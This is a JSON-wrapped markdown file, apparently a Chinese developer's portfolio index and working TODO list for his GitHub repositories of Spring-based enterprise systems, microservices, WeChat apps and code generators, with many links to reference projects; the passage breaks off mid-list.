[
  {
    "path": "#### wujun个人开发作品集（持续更新）###.md",
    "content": "## [俊哥个人技术栈代码库(持续更新)](https://github.com/wujun728)\n--------------------------------------------------------------------------------------------------------------\n\n#### 产品篇：[产品及解决方案(重点)][jun_product_center,jun_website,wujun728.github.io]\n\n> 企业信息化系统：\n\n【企业TPG门户系统】[仿中软国际TPG门户系统](https://github.com/wujun728/jun_product/jun_portal/)<br/>\n【企业财经服务系统】[产品功能说明](https://github.com/wujun728/jun_product/tree/master/jun_finance)<br/>\n【企业HR服务系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_hr)<br/>\n【企业项目管理系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_project)<br/>\n【企业OA系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_oa)<br/>\n【企业CRM系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_crm)<br/>\n【企业ERP系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_erp)<br/>\n【企业信息管理系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_mis)<br/>\n【Blog管理系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_blog)<br/>\n【俊哥的个人简历】[产品功能说明](https://github.com/wujun728/jun_product/jun_resume)<br/>\n【企业官网门户】[产品功能说明,企业网站产品,网站开发](https://github.com/wujun728/jun_website/jun_official_website)<br/>\n【企业CMS系统】[产品功能说明](https://github.com/wujun728/jun_website/jun_cms)<br/>\n【WordPress】[基于WordPress的CMS管理系统](https://github.com/wujun728/jun_website/jun_wordpress)<br/>\n\n#### 移动篇：产品及解决方案(重点) [jun_android,jun_app,jun_weixin]\n\n> APP开发框架 jun_app, APP开发，Android开发，Vue+uniapp+Nodejs+Bigdata：\n\n【Android程序开发】[产品功能说明](https://github.com/wujun728/jun_android)<br/>\n【H5混合App程序开发】[产品功能说明](https://github.com/wujun728/jun_app)<br/>\n\n> 微信开发框架, 微信开发 [jun_weixin]\n\n【微信小程序】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_miniprogram)<br/>\n【微信小程序管理系统】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_manager)<br/>\n【微信公众号】[产品功能说明](https://github.com/wujun728/jun_weixin//weixin_product)<br/>\n【微信公众号管理系统】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_manager)<br/>\n【微信工具系统-爬虫-代码生成器】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_crawler)<br/>\n【微信推送更新订阅管理系统】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_push)<br/>\n\n--------------------------------------------------------------------------------------------------------------\n#### 大数据篇：大数据场景,大数据开发，Hadoop、Spark、Strom开发 [jun_bigdata,jun_linux]\n\n【Hadoop大数据】[Spring连接Hadoop实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-mongoDB)<br/>\n【Spark大数据】[Spring连接Spark实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-mongoDB)<br/>\n【MongoDB数据库】[Spring连接mongoDB数据库实现增删改查](https://github.com/wujun728/jun_bigdata/Spring-mongoDB)<br/>\n【Oracle数据库】[实现Oracle数据库的CRUD](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【MySQL数据库】[实现Mysql数据库的主从复制、读写分离、分表分库、负载均衡和高可用](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【H2数据库】[Spring连接H2数据库实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【SQLite数据库】[Spring连接SQLite实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【Neo4j图数据库】[Spring连接图存数据库Neo4j实现增删改查](https://github.com/wujun728/jun_bigdata/Spring-neo4j)<br/>\n【ETL数据转换Kettle】[使用ETL工具Kettle的实例](https://github.com/wujun728/jun_bigdata/Kettle-demo)<br/>\n【Zeppelin数据分析】[使用数据仓库进行OLAP数据分析（Mysql+Kettle+Zeppelin）](https://github.com/wujun728/jun_bigdata)<br/>\n\n--------------------------------------------------------------------------------------------------------------\n#### 微服务篇：基于Spring系微服务[jun_springcloud,jun_springboot]\n\n【微服务快速开发平台SpringCoud】[产品功能说明](https://github.com/wujun728/jun_cloud)<br/>\n【微服务快速开发平台SpringBoot】[产品功能说明](https://github.com/wujun728/jun_boot)<br/>\n【SpringBoot微服务】[基于SpringBoot实现各种服务应用](https://github.com/wujun728/jun_cloud)<br/>\n【SpringCloud微服务Netflex】[基于SpringCloud2.1的微服务开发脚手架，整合了oauth2、nacos、gateway等](https://github.com/zhoutaoo/SpringCloud)<br/>\n【SpringCloud微服务2020】[基于SpringCloud2020最新版构建微服务框架](https://github.com/wujun728/jun_cloud)<br/>\n【SpringCloudAlibaba微服务】[基于SpringCloudAlibaba提供微服务开发的一站式解决方案](https://github.com/wujun728/jun_cloud)<br/>\n【ApacheDubbo微服务】[基于Dubbo实现高性能、轻量级的Java微服务框架](https://github.com/wujun728/jun_cloud)<br/>\n【分布式session】[Spring框架的session模块实现集中式session管理 ](https://github.com/wujun728/jun_cloud)<br/>\n【分布式文件】[使用FastDFS搭建分布式文件系统（高可用、负载均衡）](https://github.com/wujun728/jun_cloud/Spring-fastdfs)<br/>\n【分布式事务】[基于可靠消息最终一致性实现分布式事务（activeMQ），使用TCC框架实现分布式事务]<br/>\n【高并发事务】[高并发，数据库锁机制和事务隔离级别的实现](https://github.com/wujun728/jun_cloud)<br/>\n【分布式锁】[高并发：使用redis实现分布式锁，使用zookeeper实现分布式锁](https://github.com/wujun728/jun_cloud)<br/>\n【线程池&异步现场】[高并发：Java多线程编程实例 ](https://github.com/wujun728/jun_cloud)<br/>\n【高性能NIO】[高并发：使用netty实现高性能NIO通信]<br/>\n【dubbo RPC服务】[Spring boot整合Apache dubbo v2.7实现分布式服务治理（SOA架构）]<br/>\n【Spring Cloud微服务】[使用Spring Cloud实现微服务架构（MSA架构）]<br/>\n【Redis&Redis Cluster】[基于Redis集群实现分布式缓存](https://github.com/wujun728/jun_cloud/Spring-redis)<br/>\n【分库分表Mycat】[实现Mysql数据库的主从复制、读写分离、分表分库、负载均衡和高可用](https://github.com/wujun728/jun_cloud/Spring-redis)<br/>\n\n> Linux环境部署&架构&分布式&高并发，Linux环境部署、各种中间件部署 [jun_linux]\n\n【Gitlib&SVN服务&搭建】[Git指南和分支管理策略\n\n吴俊:\n【Gitlib&SVN服务&搭建】[Git指南和分支管理策略](https://github.com/wujun728/jun_linux)<br/>\n【Nginx集群】[搭建高可用nginx集群和Tomcat负载均衡](https://github.com/wujun728/jun_linux)<br/>\n【zookeeper注册中心】[产品功能说明](https://github.com/wujun728/jun_linux)<br/>\n【jenkins自动化部署】[使用jenkins+git+maven搭建持续集成环境自动化部署分布式服务]<br/>\n【Docker微服务自动化】[使用docker+jenkins+gitlab+spring cloud实现微服务的编排、持续集成和动态扩容]<br/>\n【kubernetes服务编排】[基于Kubernetes实现服务编排、自动部署，扩展和管理容器化]<br/>\n\n--------------------------------------------------------------------------------------------------------------\n\n#### 基础篇：企业级开发组件(开发组件、代码生成、前端组件) [jun_java_plugin,jun_ssm,jun_frontend_ui]\n\n> Java基础系开发组件jun_plugin 常用开发组件，调整，新增并优化项目组件：\n\n【Java基础】[文件上传下载，邮件、Echart报表、二维码，开发工具](https://github.com/wujun728/jun_plugin/jun_redis)<br/>\n【设计模式】[23种设计模式及常见数据结构与算法](https://github.com/wujun728/jun_plugin/SSM)<br/>\n\n> Spring系开发框架组件 Spring常用开发组件，万能粘合剂，企业级J2EE实际标准平台\n\n【SSH框架】[Struts2,Hibernate,Spring三大框架](https://github.com/wujun728/jun_spring_plugin/S2SH)<br/>\n【SSM框架】 [SpringMVC,Mybatis,Spring三大框架](https://github.com/wujun728/jun_spring_plugin/SSM)<br/>\n【SSH框架2】 [Spring,SpringMVC和Hibernate的整合实现增删改查](https://github.com/wujun728/jun_spring_plugin/SSH)<br/>\n【SSM微服务】[使用Spring boot整合mybatis,rabbitmq,redis,mongodb实现增删改查](https://github.com/wujun728/jun_spring_plugin)<br/>\n【Activiti工作流】 [Spring平台整合activiti工作流引擎实现OA开发](https://github.com/wujun728/jun_spring_plugin/Spring-activiti)<br/>\n【WebService服务】 [Spring发布与调用REST风格的WebService](https://github.com/wujun728/jun_spring_plugin/Spring-REST)<br/>\n【Shiro权限控制】 [Spring整合Apache Shiro框架，实现用户管理和权限控制](https://github.com/wujun728/jun_spring_plugin/Spring-shiro)<br/>\n【Spring security权限控制】 [使用Spring security做权限控制](https://github.com/wujun728/jun_spring_plugin/spring-security-demo)<br/>\n【Quartz定时JOB】[SpringTask 使用Spring security做权限控制](https://github.com/wujun728/jun_spring_plugin/spring-security-demo)<br/>\n【Lucence搜索】[SpringTask 使用Spring security做权限控制](https://github.com/wujun728/jun_spring_plugin/spring-security-demo)<br/>\n【ActiveMQ消息队列】[Spring平台整合消息队列ActiveMQ实现发布订阅、生产者消费者模型（JMS）](https://github.com/wujun728/jun_spring_plugin/Spring-activeMQ)<br/>\n【RabbitMQ消息队列】[Spring整合消息队列RabbitMQ实现四种消息模式（AMQP）](https://github.com/wujun728/jun_spring_plugin/Spring-rabbitMQ)<br/>\n【Websocket协议】[Spring整合websocket实现即时通讯](https://github.com/wujun728/jun_spring_plugin/Spring-websocket)<br/>\n【Elastic search全文检索】[Spring整合Elastic search实现全文检索](https://github.com/wujun728/jun_spring_plugin/Spring-elastic_search)<br/>\n【单点登录】[Spring整合CAS框架&JWT实现单点登录](https://github.com/wujun728/jun_spring_plugin/Spring-cas-sso)<br/>\n\nJava基础系开发组件，代码生成器&开发模板，基于freemarker及MetaData&SQL解析的代码生成器\n【Java代码生成模块】[数据库表代码生成、页面代码生成](https://github.com/wujun728/jun_code_generator/jun_code_helper)<br/>\n【Mybatis代码生成模块】[Mybatis代码生成](https://github.com/wujun728/jun_code_generator)<br/>\n【MybatisPlus代码生成模块】[Mybatis-Plus代码生成](https://github.com/wujun728/jun_code_generator)<br/>\n【Maven项目模板】常用项目开发模板，新增SSH、SSM、Boot、Cloud、Android、APP模板\n\n> 前端系开发框架[jun_frontend_ui]：\n\n【JQueryEasyUI】[基于JQuery的前端UI组件快速开发框架](https://github.com/wujun728/jun_frontend)<br/>\n【LayUI框架】[经典模块化前端UI 框架](https://github.com/wujun728/jun_frontend/)<br/>\n【Bootstrap框架】[前端响应式CSS/HTML框架](https://github.com/wujun728/jun_frontend)<br/>\n【Vue框架】[前端、构建用户界面的渐进式JavaScript框架](https://github.com/wujun728/jun_frontend)<br/>\n\n\n \nTODO待办：\n1、单表生成\n2、树表生成\n3、一对一生成（上下表单）\n4、一对多生成（上表单下列表）\n\n5、父子表单生成（上下）\n6、树表+表单或列表生成\n\nStep1，代码生成器\nStep2，动态API\nStep3、动态表单\n\n> > jun_code_generator 代码生成器\n> > 为ssh项目写个代码生成器\n> > mvn_template 开发模板，调整，新增项目模板；\n> > 新增SSH、SSM、SpringBoot、SpringCloud、Android、APP   \n> > 模板,新增+jun_ssh+ssm+springboot+mybatis+JPA\n\n1、精简代码生成器\n2、拆分成多个模块\n3、切换freemarker\n4、使用公共的数据源\n5、维护多套模板-ssh\n\n6、微信登录\n7、切换前端模板为 easy-web-iframe 模板\n\n\n注册邮箱wujun728@163.com\n原始IDgh_f4dcc9db8bc9\nappid wx427dae3919204962\n\n> > jun_plugin  \n> > jun_java_plugin 常用开发组件，调整，新增并优化项目组件\n> > https://github.com/whirlys/Elastic-In-Practice/tree/master/guava\n> > fileServer-master\\\n> > fileServer-master (1)\\\n> > haima-front-dist-master\\\n> > jun_spring Spring开发组件，调整，新增Spring系常用plugin\n> > jun_springboot SpringBoot开发组件，调整，SpringBoot系组件\n\n> > jun_ssh_parent\n> > Jun_ssh_eaayui\n> > Jun_ssh_springboot\n> > jun_ssm_parent\n> > 整理ssm项目，写模板，模板还没梳理完\n> > 美化ssh项目\n> > https://github.com/doujinxian/renren-security\n> > jun_springboot\n> > jun_frontend_ui\n> > jun_springcloud\n> > SpringCloud开发组件，调整，SpringCloud系组件\n> > Vue+uniapp+Nodejs+WordPress+PHP+Android+Bigdata 。\n> > https://github.com/wujun728/vue-login-java\n> > https://blog.csdn.net/xiaojinlai123/article/details/90694372\n> > https://blog.csdn.net/sxdtzhaoxinguo/article/details/77965226\n> > jun_linux\n> > Linux开发组件，调整\n> > jun_website\n> > https://github.com/zhangdaiscott/luban-h5\n> > https://github.com/zhangdaiscott/h5huodong\n> > jun_bigdata\n\n吴俊:\njun_website\nhttps://github.com/zhangdaiscott/luban-h5\nhttps://github.com/zhangdaiscott/h5huodong\njun_bigdata\njun_product_center\n常用项目模板及常用项目，调整，常用项目的集合，私有的\n财务系统\nOA办公系统\nhttps://github.com/hjp1011/uniapp-oa\nhttp://www.yiiframe.com/\n后端源码：官网下载\nhttps://github.com/misstt123/oasys\nhttps://github.com/yunchaoyun/active4j-oa\nhttps://github.com/yunchaoyun/active4j-jsp        \nHR服务系统\nCRM客户关系\n行政服务系统\n问答系统\n知识学习系统\njun_weixin\n微信开发，调整\nweixin_api\nweixin_boot\nweixin_manager\njun_android\njun_app\nAPP开发，调整\njun_uniapp\nhttps://github.com/chenbool/uniapp-douyin\njun_app_cms\n\n待办：\nhttps://github.com/lerry903/spring-boot-api-project-seed\nhttps://github.com/jackying/H-ui.admin\nhttps://github.com/xiaoshaDestiny/spring-cloud-2020\n\nhttps://github.com/stylefeng/Guns\nhttps://github.com/jsnjfz/WebStack-Guns\nhttps://github.com/1477551037/exam\nhttps://github.com/itd2008/My-Blog\nhttps://github.com/qiaokun-sh/spring-token\n\nhttps://github.com/wujun728/inspinia_admin_java_ssm\n\nhttps://github.com/xwjie/ElementVueSpringbootCodeTemplate\nhttps://github.com/RudeCrab/rude-java\nhttps://github.com/Wjhsmart/Front-end-UI\nhttps://github.com/zongjl/JavaWeb\nhttps://github.com/zongjl/Jeebase\nhttps://github.com/xzt1995/nideshop-springboot\n\nfsLayui\nVIEWUI-FOR-EASYUI 迁移到UI\nspring-boot-starter-motan\njava\nlayoutit\nPersonnel-Management-System\nfiction_house\ninspinia_admin_java_ssm\nspringboot-mui\nJobs-search\nxxyms————————————————————————————————————————————————————————————————————————————————————————————————————————\n​      \n\nTODO PLAN：\n\n1、清空readme，新增readme图片，新增胶片方案模板供截图\n2、调整package，调整author，调整每个工程大小，调整每个项目jar包\n3、调整每个项目运行\n4、mvn_template 开发模板，调整，新增项目模板；新增\n\njun_code_generator\n0、默认生成模板调整，默认下载zip包调整\n1、代码生成器jun_code_generator 默认提供Spring、Hibernate、MyBatis、Spring JDBC模板\n2、代码生成器，将easyexcel的demo合并到code_generator\n3、代码生成器的模板跟maven_template再整一下\n4、代码生成器新模板\n\tSsm+easyUI\n\tSSM+jwt+layui\n\tboot+Bootstrap\n\tboot+jwt+vue\n5、单表生成\n6、关联表生成\n7、整理ssm项目\n8、整理boot项目\n9、SSH、SSM、SpringBoot、SpringCloud、Android、APP模板,\n10、新增+jun_ssh+ssm+springboot+mybatis+JPA\njun_springboot_vue\n1、ruoyi-vue-pro    ---迁移到\njun_product_center 产品中心，常用项目模板及常用项目工程，调整，常用项目的集合，私有的\n0、整chinasoft的login.html跟index.html的page，适配Nginx跟ssm_jwt；\n1、整理cs的login页面\n2、整理cs的index页面\n3、整理layui的静态前端页面并归档\n4、整理adminlte及hplus\n5、整理easyui的前端页面并归档\n6、整理代码生成器\n先根据邮件去掉非必须的项目\n综合配置login及index的页面的归档\n\nwujun728.github.io\njun_springcloud\njun_linux    Linux开发组件\nNginx优化，nginx优化单台机器抗10万并发\nhttps://www.jianshu.com/p/5149a7a700b9\njun_weixin   微信开发\njun_android Android开发\njun_app    APP开发，Vue+uniapp+Nodejs++Android\njun_temp    临时仓库，干掉\njun_website    网站开发,以WordPress+网站模板为主\njun_bigdata   大数据开发\n\nhttps://blog.csdn.net/yf275908654/article/details/50171607\n\n \n\nSsh_parent\naicode\\      干掉\nauthority\\ jsp hplus boot jpa\nbiu\\   迁移到vue里面\nmis\\ 干掉\nShiroJwt\\ 迁移到vue里面\n\n不要的东西删掉，重新拟定计划跟技术选型及产品\n1、新增产品规划，产品及技术选型\n2、先技术规划，技术规划\n3、新增管理规划，功能点补充及二次开发规划\n4、功能地图及产品中心规划\n5、整理胶片的模板发挥架构的优势\n\n###TODO待办清单\nNOTE20210311\njun_2021\\\njun_framework\\\njun_ssm\\\njun_test\\\njun_test11\\\nAbout\n代码生成器jun_code_generator 默认提供Spring、Hibernate、MyBatis、Spring JDBC模板，也可以根据FreeMarker语法编写自定义模板生成代码。\n\nhttps://www.bejson.com/\nNginx优化\nhttps://www.jianshu.com/p/5149a7a700b9\nNetty\nhttps://blog.csdn.net/yuanzhenwei521/article/details/79194275\n\njun_boot\njun_plugin\njun_weixin\njun_ssm\njun_cloud\njun_app\njun_website \nfsLayui \nVIEWUI-FOR-EASYUI \nspring-boot-starter-motan \njava\nlayoutit\nPersonnel-Management-System\nfiction_house\ninspinia_admin_java_ssm\nspringboot-mui\nJobs-search\nxxyms\njun_temp1\\\njun_temp2\\\nTODO PLAN：\n\nVue+uniapp+Nodejs+WordPress+PHP+Android+Bigdata\n\nhttps://blog.csdn.net/xiaojinlai123/article/details/90694372\nhttps://blog.csdn.net/sxdtzhaoxinguo/article/details/77965226\n\nhttps://github.com/moshowgame/SpringBootCodeGenerator\nhttps://github.com/SpringCloud/spring-cloud-codegen\nhttp://hub.fastgit.org/thinkgem/jeesite_autocode\n\nReadme.md template\n\nplugin\nhttps://github.com/RudeCrab/rude-java/tree/master/project-practice\n\n干掉，放到plugin里面\nhttps://github.com/wujun728/jun_frontend_ui\n\nboot\n\nhttps://github.com/wujun728/jun_springboot \n合并到jun_ssm,并重命名\n\nhttps://github.com/wangyushuai/inspinia_admin_java_ssm\n\n前端模板-合并到front里面\nhttps://github.com/wenfengSAT/wenfengSAT-UI\n迁移到CRM里面\nhttps://github.com/wenfengSAT/SpringbootCRM\n迁移到plugin里面\nhttps://github.com/wenfengSAT/wenfengSAT-SpringBoot\n迁移到uniapp里面\nhttps://github.com/fanchaoo/netease-cloud-music-community\n待处理：\n迁移到cloud里面\nfsLayui\nVIEWUI-FOR-EASYUI\nspring-boot-starter-motan\n总体待办：\n吴俊-补充TODO待办清单\nJun_code-generator\n临时分支\n\nJun_code_generator\ndoc\\ \n\tsimple-fast-generator\\   合并到code_mplus\n\t\njun_code_generator\\\n\thub.fastgit.org/alibaba/easyexcel\n\t集成easyexcel读取文件的功能noModelRead\njun_code_mybatis\\\njun_code_mybatisplus\\  \n\n### 附录：个人作品索引目录（持续更新）\n\n#### 基础篇:职业化，从做好OA系统开始\n1. [Spring boot整合Mybatis实现增删改查（支持多数据源）](https://gitee.com/shenzhanwang/SSM)![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")\n2. [Struts2,Hibernate,Spring三大框架的整合实现增删改查](https://gitee.com/shenzhanwang/S2SH)\n3. [Spring,SpringMVC和Hibernate的整合实现增删改查](https://gitee.com/shenzhanwang/SSH)\n4. [Spring平台整合activiti工作流引擎实现OA开发](https://gitee.com/shenzhanwang/Spring-activiti)![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")\n5. [Spring发布与调用REST风格的WebService](https://gitee.com/shenzhanwang/Spring-REST)\n6. [Spring整合Apache Shiro框架，实现用户管理和权限控制](https://gitee.com/shenzhanwang/Spring-shiro)\n7. [使用Spring security做权限控制](https://gitee.com/shenzhanwang/spring-security-demo)\n8. [Spring整合Jasig CAS框架实现单点登录](https://gitee.com/shenzhanwang/Spring-cas-sso)\n#### 中级篇：中间件的各种姿势\n9. [Spring连接mongoDB数据库实现增删改查](https://gitee.com/shenzhanwang/Spring-mongoDB)\n10. [Spring连接Redis实现缓存](https://gitee.com/shenzhanwang/Spring-redis)\n11. [Spring连接图存数据库Neo4j实现增删改查](https://gitee.com/shenzhanwang/Spring-neo4j)\n12. [Spring平台整合消息队列ActiveMQ实现发布订阅、生产者消费者模型（JMS）](https://gitee.com/shenzhanwang/Spring-activeMQ)\n13. [Spring整合消息队列RabbitMQ实现四种消息模式（AMQP）](https://gitee.com/shenzhanwang/Spring-rabbitMQ)\n14. Spring框架的session模块实现集中式session管理 [购买](http://t.cn/Ai80zekN)\n15. [Spring整合websocket实现即时通讯](https://gitee.com/shenzhanwang/Spring-websocket)![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")\n16. 使用Spring boot整合mybatis,rabbitmq,redis,mongodb实现增删改查 [购买](http://t.cn/Ai8Yh8Oy)\n17. [Spring MVC整合FastDFS客户端实现文件上传](https://gitee.com/shenzhanwang/Spring-fastdfs)\n18. 23种设计模式，源码、注释、使用场景 [购买](http://t.cn/Ai8Y7tEF)\n19. [使用ETL工具Kettle的实例](https://gitee.com/shenzhanwang/Kettle-demo)\n20. Git指南和分支管理策略 [购买](http://t.cn/Ai8Y7948)\n21. 使用数据仓库进行OLAP数据分析（Mysql+Kettle+Zeppelin） ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")[购买](http://t.cn/Ai8Y7dVD)\n#### 高级篇：架构之美\n22. [zookeeper原理、架构、使用场景和可视化](https://gitee.com/shenzhanwang/zookeeper-practice)\n23. Spring boot整合Apache dubbo v2.7.5实现分布式服务治理（SOA架构） ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\") [购买](https://dwz.lc/beP9N33)\n>  包含组件Spring boot v2.2.2+Dubbo v2.7.5+Nacos v1.1.1\n<a href=\"https://images.gitee.com/uploads/images/2020/0114/084731_fd0b7a82_1110335.gif\" target=\"_blank\">效果图</a>\n24. 使用Spring Cloud Alibaba v2.1.0实现微服务架构（MSA架构）![输入图片说明](https://img.shields.io/badge/-%E6%8B%9B%E7%89%8C-yellow.svg)   [购买](https://dwz.lc/IdmrHzd)\n>  包含组件Nacos+Feign+Gateway+Ribbon+Sentinel+Zipkin\n<a href=\"https://images.gitee.com/uploads/images/2020/0106/201827_ac61db63_1110335.gif\" target=\"_blank\">效果图</a>\n25. 使用jenkins+centos+git+maven搭建持续集成环境自动化部署分布式服务 [购买](http://t.cn/Ai8YZbaX)\n26. 使用docker+compose+jenkins+gitlab+spring cloud实现微服务的编排、持续集成和动态扩容 [购买](http://t.cn/Ai8YZCYK)\n27. 使用FastDFS搭建分布式文件系统（高可用、负载均衡）[购买](http://t.cn/Ai8YZePu)\n28. 搭建高可用nginx集群和Tomcat负载均衡 [购买](http://t.cn/Ai8Ywlr8)\n29. 搭建可扩展的ActiveMQ高可用集群 [购买](http://t.cn/Ai8YAbA8)\n30. 实现Mysql数据库的主从复制、读写分离、分表分库、负载均衡和高可用 [购买](http://t.cn/Ai8YAOAK)\n31. 搭建高可用redis集群实现分布式缓存 [购买](http://t.cn/Ai8Y2NQy)\n32. [Spring boot整合Elastic search实现全文检索](https://gitee.com/shenzhanwang/Spring-elastic_search) ![输入图片说明](https://img.shields.io/badge/-%E6%8B%9B%E7%89%8C-yellow.svg \"在这里输入图片标题\")\n#### 特别篇：分布式事务和并发控制\n33. 基于可靠消息最终一致性实现分布式事务（activeMQ）[购买](http://t.cn/Ai8YLPBL)\n34. Spring boot dubbo整合seata实现分布式事务![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\") [购买](https://dwz.lc/csO0rp2)\n> 包含组件nacos v1.1.0 + seata v0.7.1 +spring boot dubbo v2.7.5\n<a href=\"https://images.gitee.com/uploads/images/2020/0119/112233_62a33a77_1110335.gif\" target=\"_blank\">效果图</a>\n35. Spring cloud alibaba v2.1.0整合seata实现分布式事务 ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")[购买](https://dwz.lc/0T8KCTC)\n> 包含组件nacos v1.1.0 + seata v0.7.1 +spring cloud alibaba v2.1.0\n<a href=\"https://images.gitee.com/uploads/images/2020/0119/134408_ee14a016_1110335.gif\" target=\"_blank\">效果图</a>\n36. 决战高并发：数据库锁机制和事务隔离级别的实现![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\") [购买](http://t.cn/Ai8YyAQE)\n37. 决战高并发：使用redis实现分布式锁  ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")[购买](http://t.cn/Ai8Y4bER)\n38. 决战高并发：使用zookeeper实现分布式锁 [购买](http://t.cn/Ai8Y4Cuq)\n39. 决战高并发：Java多线程编程实例 [购买](http://t.cn/Ai8Y4s0r)\n40. 决战高并发：使用netty实现高性能NIO通信 [购买](http://t.cn/Ai8Ybq3e)\n \n\n<a href=\"https://www.jianguofaka.com/details/B1143645\" target=\"_blank\">全套大礼包2020年版</a>\n\n1、jun_api_service\n初始化API_Service\nhttps://github.com/lihengming/spring-boot-api-project-seed\n干掉jun_api-plugin\n\n2、jun_cache   ---干掉\n新增springcache\nhttps://github.com/iamsixer/spring-cache-demo\nhttps://github.com/zheng-zy/spring-boot-redis-guava-caffeine-cache\n\n3、camel 干掉，没啥用\n\n4、jun_crawler 调整，跑起来，净化\n\n5、jun_datasource_cluster rename 到 DataSource\n新增 https://github.com/ran-jit/tomcat-cluster-redis-session-manager\n\n6、分解jun_dbutils\nhttps://github.com/objcoding/jdbc-utils\n\n7、jun_demo rename到 jun_test\n\n8、设计模式，合并到一起，分三种合并，中文转英文\n\n9、jun_note 新增\nhttps://github.com/GourdErwa/review-notes\n\n10、新增jun_webservlet_guice_dbutil\nhttps://www.cnblogs.com/huzi007/p/5802022.html\nhttps://www.cnblogs.com/huzi007/p/5796372.html\n\n11、drools https://github.com/maxxbwsDemo\n\n12、email 调整，清理\nhttps://github.com/biezhi/oh-my-email/blob/master/pom.xml\nhttps://github.com/isliqian/NiceEmail\n\n13、excel 集成 easyexcel\nhttps://github.com/HowieYuan/easyexcel-encapsulation\n新增jun_poi demo\n\n14、jun_fileupload\nhttps://github.com/wemakebug/FileUpload.Java\nSpring fileupload\nhttps://github.com/jdmr/fileUpload\n\n15、freemarker boot https://github.com/JavaCodeMood/freemarker\n\n16、guava\nhttps://github.com/tiantiangao/guava-study\nhttps://github.com/tfnico/guava-examples\n\n17、guice\nhttps://github.com/timlien/servlet-guice\nhttps://github.com/greengerong/guice-demo\nhttps://github.com/lg625740749/GuiceDemo\n\n18、hibernate\nhttps://github.com/hibernate/hibernate-demos\n\n19、httpclient\nhttps://github.com/Arronlong/httpclientutil\nhttps://github.com/JourWon/httpclientutil\n\n20、image\nhttps://github.com/xuehuayous/ImageUpload\nhttps://github.com/jmitchener/spring-images\nhttps://github.com/woobong/spring-boot-jpa-summernote-image-upload-example\nhttps://github.com/mrmodise/java-spring-file-upload\n\n21、jbpm4\nhttps://github.com/xxg3053/jbpm-study\nhttps://github.com/American/workflow/tree/master/workflow\n\n22.jdk 清理，调整\n\n23、lucenne\nhttps://github.com/abel533/SearchEngine\nhttps://github.com/doushini/lucene\nhttps://github.com/pumadong/cl-search\nSpringboot+ElasticSearch\nhttps://github.com/Motianshi/all-search\n\n24、pay\nhttps://github.com/kongzhidea/pay\nhttps://github.com/iyangyuan/pay-spring-boot\n\nSpring-cloud\n\n \n\n41、 webmagic\nhttps://github.com/scsfwgy/WebMagic_CSDN_Demo\nhttps://github.com/EzioL/neteasemusic\n\n42、api_service\n合并都api里面，其他的2个干掉\n\nSpring\n43、 jwt rename一下\n新增springboot jwt\nhttps://github.com/dolyw/VueStudy/tree/master/VueStudy08-JWT\nhttps://github.com/dolyw/ShiroJwt.git\n\n44、spring activemq\n清理代码，优化test及readme\nhttps://github.com/888xin/activeMQ\n\n45、camel 调整为zip里面的spring\n46、cas 干掉\n新增oauth\n\n47、cors 调整为filter过滤器\n\n48、config 迁移到cloud里面\n\n49、fastdfs\n\n50、dubbo\nhttps://github.com/GenshenWang/DubboDemo\n\n51、quartz\nhttps://github.com/ameizi/spring-quartz-cluster-sample\n\n52、新增xxl-job\nhttps://github.com/xuxueli/xxl-job\n\n53、email\nhttps://github.com/fangjieDevp/spring-email-master\n\n54、Excel 干掉\n\n55、hibernate\nhttps://github.com/zhonglinlin1305/Spring\nhttps://github.com/zhonglinlin1305/spring-projects/\n\n0、Boot&cloud\nhttps://github.com/zhonglinlin1305/spring-boot-sample/\nhttps://github.com/zhonglinlin1305/spring-cloud-microservice\nhttps://github.com/SpringForAll/springcloud-thoth\n\n56、kafka\nhttps://github.com/smallnest/spring-kafka-demo\n\n57、lucenne\nhttps://github.com/FuZhucheng/SSM\n\n \n\n00、boot starter\nhttps://github.com/battcn/extend-spring-boot\n\n00、util\nhttps://github.com/864381832/xJavaFxTool-spring\n\n00、ppt\nhttps://github.com/aalansehaiyang/technology-talk\n\n1、plugin 代码全部梳理一遍，package/pom/test/readme\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n2、ssh 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n3、ssm 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n4、代码生成器、代码一套，功能一套，合并ry_gen\nhttps://www.jianshu.com/p/31e532392a74\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n5、ui 整理ui\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n6、apiservice 